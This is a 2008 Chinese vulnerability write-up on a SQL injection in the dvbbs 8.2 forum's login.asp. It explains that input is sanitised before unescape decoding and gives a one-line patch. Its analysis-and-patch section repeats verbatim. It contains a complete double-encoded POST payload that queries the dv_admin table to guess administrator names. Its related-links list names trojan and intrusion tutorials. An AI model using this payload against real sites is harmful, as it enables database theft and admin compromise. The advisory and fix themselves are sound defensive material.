dvbbs 8.2 SQL Injection注射漏洞分析
更新時間：2008年05月31日 12:19:06 作者：
利用方式:一個典型的sql注射漏洞,按照公告里說的用
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
就可觸發(fā).
漏洞分析:動網(wǎng)在asp領域也算一個比較元老的程序,這次在8.2新版里有一個低級的錯誤.漏洞代碼在login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先經(jīng)過檢查然后再unescape解碼,導致用urlencode模式就可以饒過任何檢查,和php的urldecode導致的注射很類似,譬如用%2527就可以提交'過去了.
修補方案:修補也很簡單,將上述代碼改成
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
就可觸發(fā).
漏洞分析:動網(wǎng)在asp領域也算一個比較元老的程序,這次在8.2新版里有一個低級的錯誤.漏洞代碼在login.asp 118行左右
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = unescape(username)
......
取得的username是先經(jīng)過檢查然后再unescape解碼,導致用urlencode模式就可以饒過任何檢查,和php的urldecode導致的注射很類似,譬如用%2527就可以提交'過去了.
修補方案:修補也很簡單,將上述代碼改成
......
username=trim(Dvbbs.CheckStr(request("username")))
If ajaxPro Then username = trim(Dvbbs.CheckStr(unescape(username)))
......
相關文章
新云網(wǎng)站管理系統(tǒng)任意文件可下載漏洞...2007-02-02
內(nèi)網(wǎng)滲透-----如何打開突破口...2007-06-06
想成為起碼要懂的16個問題...2007-03-03
nc.exe高級技巧應用匯總...2007-06-06
QQ密碼保護是一套保障QQ密碼安全的機制。通過給你的QQ號填寫對應的相關資料，如證件號、安全提示問題、安全郵箱等，給你的QQ號穿一件防彈衣。一旦出現(xiàn)問題，就可以通過QQ密碼保護找回QQ密碼2012-09-09
利用WinRAR來捆綁木馬2個技巧...2007-06-06
新編MS07004網(wǎng)頁木馬源碼代碼...2007-03-03
測試環(huán)境：windows xp pro sp2 + mssql 2005（服務以system權限啟動）2008-12-12
歷代木馬程序隱身的技術分析...2007-11-11
CHM電子書木馬制作攻略教程...2007-06-06